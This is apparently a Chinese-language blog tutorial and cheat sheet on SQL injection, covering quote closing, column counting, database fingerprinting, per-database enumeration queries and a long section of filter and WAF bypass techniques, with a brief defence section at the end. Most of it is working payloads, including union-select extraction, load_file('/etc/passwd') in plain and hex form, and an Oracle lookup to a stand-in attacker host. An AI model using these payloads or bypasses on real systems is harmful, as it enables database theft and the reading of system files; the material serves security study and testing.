1. 可能存在SQL注入的功能点

SQL注入可以出现在任何从系统或接受用户输入的前段应用程序中。

换句话说,每个前端与后端数据库有交互的地方,都有可能存在SQL注入漏洞。

比如最常见的是在搜索和登录功能。但其他与数据库交互的地方也值得注意:如cookie中,XFF中。

2. 闭合

在存在注入点的网页上,其后端代码可能是如下的几种格式:

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

此时我们构造sql语句注入时,则要考虑闭合前面的引号括号。

因为如果注入后,破坏了原有的闭合,那么注入也会失败,所以闭合很重要,决定了最后是否可以注入成功。

如:

$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";

注入 1' or 1=1 --+

$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";

常见的闭合形式:

原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))

闭合代码:
1' #
1" #
1') #
") #
')) #

常见的注释截断方法:

#
/*
-- -
;%00
`

最后,可以用and1=1,or 1=1 等语句确认闭合完成,漏洞存在。

3. 测试列数

除了前文中提到的 order by 语句以外。

也可以用如下的形式来探测:

http://www.foo.com/index.asp?id=12+union+select+null,null--

不断增加 null 至不返回。

4. 探测数据库指纹

在此前的实验中,我们都是使用MariaDB作为后端数据库的,其属于mysql系列数据库。

如果后端数据库不同,那么SQL注入的语句也会不同。有几种探测数据库指纹信息:

  1. 第一种方法找出使用后端数据库是通过观察返回的错误应用程序。 以下是一些例子的错误消息:

MySql:

You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near
  1. 常见网页与数据库的关系。

代码与数据库并不存在绑定关系,以下只能做参考。

asp : Access/SQLServer

php : Mysql

jsp : Oracle

  1. 利用语句探测数据库

一种最可靠的方法是根据数据库连接字符串方式的不同进行识别。

如我们查询字符串farmsec得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成farmsec字符串。如过查询结果相同,就可以确定是哪一种数据库。

Oracle:    'farm'||'sec'
MS-SQL:    'farm'+'sec'
MySQL:     'farm' 'sec'
PostgreSQL:'farm' || 'sec'

如果注入数字数据,可以使用下面的攻击语句来识别字符串。

每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。

Oracle:    BITAND(1,1)-BITAND(1,1)
MS-SQL:    @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL:     CONNECTION_ID()-CONNECTION_ID()

5. 各类数据库注入语句

不同的数据库,需要用不同的sql语句注入。

1. MySQL数据库

释义 SQL语句 其他
当前数据库 SELECT database() -
所有数据库 SELECT schema_name FROM information_schema.schemata #版本>5.0
- SELECT distinct(db) FROM mysql.db #管理员权限才可以执行
查询表名 SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
查询列名 SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
获取版本 SELECT @@version -
当前用户 SELECT user() -
- SELECT system_user() -
用户权限 SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges #用户权限
- SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges #数据库权限
- SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges #字段的权限
列出DBA账户 SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ -
选择第N行 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 #行从0开始编号
- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 #行从0开始编号
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT CONCAT(‘A’,‘B’) #返回AB
- SELECT CONCAT(‘A’,‘B’,‘C’) #返回ABC
时间睡眠 SELECT BENCHMARK(1000000,MD5(‘A’)) -
- SELECT SLEEP(5) #版本>= 5.0.12

2. Oracle数据库

释义 SQL语句 其他
当前数据库 SELECT global_name FROM global_name
- SELECT name FROM v$database
- SELECT instance_name FROM v$instance
- SELECT SYS.DATABASE_NAME FROM DUAL
所有数据库 SELECT DISTINCT owner FROM all_tables
查询表名 SELECT table_name FROM all_tables
- SELECT owner, table_name FROM all_tables
查询列名 SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’
- SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’
获取版本 SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’
- SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’
- SELECT version FROM v$instance
当前用户 SELECT user FROM dual
用户权限 SELECT * FROM session_privs #当前权限
- SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ #列出用户的权限
列出DBA账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
选择第N行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 #第九行
选择第N个字符 SELECT substr(‘abcd’, 3, 1) FROM dual #第3个字符c
ASCII值-字符 SELECT chr(65) FROM dual #返回A
字符-ASCII值 SELECT ascii(‘A’) FROM dual #返回65
字符串连接 SELECT ‘A’ \ ‘B’ FROM dual #返回AB
时间睡眠 SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual #如果反向查询很慢
- SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual #如果正向查询很慢

3. MSSQL数据库

释义 SQL语句 其他
当前数据库 SELECT DB_NAME() -
所有数据库 SELECT name FROM master…sysdatabases -
- SELECT DB_NAME(N) #N为0,1,2,…
查询表名 SELECT name FROM master…sysobjects WHERE xtype = ‘U’ -
- SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’ -
查询列名 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) #当前数据库
- SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’ #列出master…sometable的列名称
获取版本 SELECT @@version -
当前用户 SELECT user_name() -
- SELECT system_user -
- SELECT user -
用户权限 SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’) #当前数据库权限
- SELECT is_srvrolemember(‘sysadmin’) #当前用户权限
列出DBA账户 SELECT is_srvrolemember(‘sysadmin’) #当前用户是否是管理员,是则返回1
选择第N行 SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC #返回第九行
选择第N个字符 SELECT substring(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(0×41) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT ‘A’ + ‘B’ #返回AB
时间睡眠 WAITFOR DELAY ‘0:0:5’ #睡眠5秒

4. PostgreSQL数据库

释义 SQL语句 其他
当前数据库 SELECT current_database() -
所有数据库 SELECT datname FROM pg_database -
查询表名 SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) -
查询列名 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) -
获取版本 SELECT version() -
当前用户 SELECT user; -
- SELECT current_user; -
- SELECT session_user; -
- SELECT usename FROM pg_user; -
- SELECT getpgusername(); -
用户权限 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user -
列出DBA账户 SELECT usename FROM pg_user WHERE usesuper IS TRUE -
选择第N行 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 #从0行开始编号
- SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; -
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT chr(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT ‘A’ \ ‘B’ #返回AB
时间睡眠 SELECT pg_sleep(10) #睡眠10秒
- SELECT sleep(10) #创建自定义睡眠

16.绕过网站防御机制思路

绝大部分的网站防御机制,无论是过滤、转义或是商业waf,都是基于某种正则表达式的规则匹配而运作的。也就是说,攻击者的行为一旦匹配了某种正则表达式所预料到的特征,就可能被拦截。而绕过防御机制则是,将简单的攻击语句复杂化,使其出乎编写防御程序者的意料,同时确保被复杂化的攻击语句保持原有的功效。下面将介绍几种常见的绕过思路:

1. 大小写绕过

一般来说,只要网站考虑了防御机制,现在的设计者是不会忘记注意大小写的。但我们还是把绕过思路从简单到复杂的讲述出来,大小写绕过是最简单的一种绕过方法,它成功的前提是网站防御规则中只匹配了字母小写的攻击语句特征。如select可能会被规则发现,SeLeCt则不会。

fsec.com/index.php?page_id=1' and 1=2 uNIoN sELecT 1,2,3,4#

2. 双写绕过

在某些网站,会对用户提交的一段字符进行匹配,对其认为危险的字符删除,同时放过余下其认为安全的字符。

例如,用户输入1' and 1=2 union select 1,2,3,4#,经过网站的过滤机制,服务器实际接收到的则是1' and 1=2 1,2,3,4#

此时可以双写绕过:

fsec.com/index.php?page_id=1' UNIunionON SELselectECT 1,2,3,4#

经过网站过滤机制,UNIunionON SELselectECT实际变成了UNION SELECT。但要注意,这只适用于网站防御机制只匹配一次、过滤一次的情况。如果网站正则具有循环匹配,循环过滤直至匹配不到的机制,那么这种绕过方法就不再适用了。

3. 编码绕过

如果网站防御机制未考虑过各类编码情况,那么将攻击语句编码后再发送也是一种很好的方法。

3.1 URL编码

通常来说,在浏览器输入URL时,浏览器会对一些字符进行URL 编码如,空格变为%20、单引号%27、左括号%28、右括号%29。而服务器收到后会对其进行解码。如果网站具备防御机制,则会对解码后的内容进行规则匹配。然而一些程序在执行了过滤之后还会执行一次不必要的解码,

比如我们输入带有url编码的字符串:

1%2527%20and%201%253d1%23,这条字符在会被解码为:1%27 and 1%3d1#,其中没有'=,假设这样就不会触发某些防御规则,然而当waf放过这串字符后,网站程序又会执行一次不必要的解码,再次解码后文本变成如此:1' and 1=1#,这一条将被数据库执行。

3.2 十六进制编码

主要用于where语句后的引号问题,如:

1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 0x64767761#

image-20220326093657623

image-20220326093749590

1 and 1=2 union select 1,load_file('/etc/passwd');#
1 and 1=2 union select 1,load_file(0x2F6574632F706173737764);#

image-20220329110708772

3.3 char()函数

4. 注释绕过

4.1 注释绕过针对空格的过滤

1' and 1=2 union/**/select 1,2 #

image-20220330095327714

image-20220330095245054

image-20220330100241961

4.2 内联注入

/*![数据库版本][数据库函数]*/,和注释/**/的区别是多了一个感叹号,可选的数据库版本号。

这种注释在mysql中叫做内联注释,当实际的版本等于或是高于写入的[数据库版本],应用程序就会将注释内容解释为SQL命令,否则就会当做注释来处理。默认情况下,不添加数据库版本也会当做SQL命令来执行。

内联注释可以用来包裹数据库关键字和非关键字。

1' and 1=2 /*!UNION*/ /*!SELECT*/ 1,2#
1'/*asdw*/and/**/1=2/**//*!50000UNION*//*abcd*//*!50000SELECT*//**/1,2#

image-20220330103816362

image-20220330104030637

5. 等价语句替换

在有些函数或命令因其关键字被检测出来而无法使用的情况下,我们可以考虑使用与之等价或类似的代码替代其使用。

sleep() 与 benchmark()
concat_ws() 与 group_concat()
mid()=substr()=substring()

sleep()与benchmark()

mysql中可用BENCHMARK(50000000,MD5(‘A’))产生延迟,执行MD5()50000000次,产生的延迟时间和服务器性能有关。

image-20220330115324208

concat_ws() 与 group_concat()

concat(str1,str2,…) //没有分隔符得连接字符串,
concat_ws(separator,str1,str2,…) //含有分隔符得连接字符串
group_concat(str1,str2,…) //连接一个组的所有字符串,并以逗号分割每条数据

image-20220330153102208

image-20220330153409685

image-20220330160344693

6. 常见过滤字符及绕过

当空格被过滤后,可通过以下方法绕过:

注释代替空格
select * from tb1 where name='asd';
等价:
select/**/*/**/from/**/tb1/**/where/**/name='asd';

括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');

引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
等价:
select name from tb1 where name ='asd'and'1'='1';

特殊字符代替空格
如下特殊字符可代替空格:
%09    水平定位符号%0a    换行符%0c    换页符%0d    回车%0b    垂直定位符号

用Tab代替空格

过滤union\select

绕过示例:过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode,ascii(char),hex,unicode编码绕过关键字
内联绕所有/*!union*//*!select*/

过滤引号

可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

过滤逗号

在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2);                #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2);    #从第一个字符开始截取2个

过滤注释符

测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1; 
这时候可以传入1' or '1'='1  ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;

过滤where

逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤hex

逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

过滤and,or

#等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
等价and
假如:select * from tb1 where id=1 and 1=1
此时和and等价关键字有:like(1 like 1。like可跟通配符。),rlike(1 rlike 1 rlike可跟正则表达式。),regexp(1 regexp 1 regexp可跟正则表达式。),&(1 && 1 ,逻辑与),&&(1 & 1,按位与,任意数&0的值为0),与and的结果都是1.

等价or
假如:select * from tb1 where id=1 or 1=1;
此时等价or的关键字有:||    (逻辑或),|    (按位或),任意数|0的值为任意数

17.sql注入的防御方法

1. 过滤

可以对用户提交的敏感字符进行过滤和拦截。

2. 转义

可以对用户提交的敏感字符进行转义。

3. 参数化查询

参数化查询也叫做预处理,它分两个步骤处理用户的输入。

  • 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符。
  • 网站应用程序指定每个占位符的内容。

在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构。这样,网站应用程序就不会将用户输入判断为sql语句执行了,而会把用户的输入当做一个整体去查询。

4. 加密存储

对重要数据,不在表单中明文存储,而选择加密存储。

5. 限制数据库权限和特权

将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录